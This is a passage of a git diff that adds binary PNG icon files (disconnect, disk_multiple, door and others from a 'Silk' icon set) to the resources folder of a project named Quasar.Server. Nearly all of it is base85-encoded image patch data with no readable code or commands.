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

    ={4^ZidAM3m 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 w7=*R;!9dR>HaSq0oq>Tv5DG+P6y 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/disconnect.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/disconnect.png new file mode 100755 index 0000000000000000000000000000000000000000..b335cb11c4d1a397b307883adcfe1e00c4cf8e6a GIT binary patch literal 796 zcmV+%1LOROP)h5&w{Y-QlBkdy7eSyz8|k(w=syt3MbOGZFmTy2f|dnI3kj6Sz)H!` z%1hM3FiovS8#Qs98Rxs5^PSs#9S4da6*};44(Iv3@B5rb3BwQ$Is?0$0ilY#Q^EELL=6SfS*Ly93GR<|lPYvfPXoM^)HN1)!-B@N5Zi(e|Ge`rl{XLurIiz-D}wH~H+MJzd|s z^YP1Hc07G_>)Lgir!F1{Qn4GcTg%?koHo<=1qRN{}nPDolOeI^o4N5I>! zU$N=L=sg~ zDx#dOA*B0N~cqPsWI(^rbbkh)DS0_H_UN0C4l_kvWIm2#Kyy6%BCh z(yIUf003&1xdx>t$*eR2ZvXxT0001Z_R$y3Iju92q*wg58};}zm(OaAH=p|y0002M zh5O5#fxp|~jc?yi@+7$`d4Q6Hl%z;WiWG??NXR{Hx%)pMd~SE0000OQI literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/disk_multiple.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/disk_multiple.png new file mode 100755 index 0000000000000000000000000000000000000000..fc5a52f5e4a7e8eb54bcd59728e88a2db5f046ed GIT binary patch literal 691 zcmV;k0!;mhP)h|XiB@gI zjUjC!t---iaHXP+)r{6Ojx+c3eOp)#T8qGEea`PZ=iwYN#&8(f07GMovvqMO`yt0_ zV{GIqh=SUrg*L*EVuk5U_QA?{|KdLZm9oqA&I{b?sAXd2Gmr0G+E?`AZ62*91#}$* zh%tuyPiAI&x-YV_mTQj!pIA(Bw8r7bRXMZUbwz}06c5|lmvZ$Nsq_x5imrlk>1*KX6(-bq8O z2^19ECQj9aBx7KUR8RS!t_)7SYimBz-4JgeVb>Gt0MQyT5n9SDtu2!)2FyRdD{|O( Z{ssThAulbFM%4fS002ovPDHLkV1fh$IWzzO literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/door.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/door.png new file mode 100755 index 0000000000000000000000000000000000000000..369fc46ed259191014664e8a16bea76e7513f8b6 GIT binary patch literal 412 zcmV;N0b~A&P)%thM>W-PO4z!6ryTDvQjnlZlgy>*`kliP$?n1x#3mBv=H* zZvSv|{Wk%bFo}=%C%C=cB-|2gZto+r=@*a)F<})kF(DFGf{cEF%qX{I6ar>BlQ09$ zKtwM=E70{BMdbz}7ZEfCIhx`>6H;PlIK|!Y1xVX8?flcwAM>e&;Vo+vaG^ 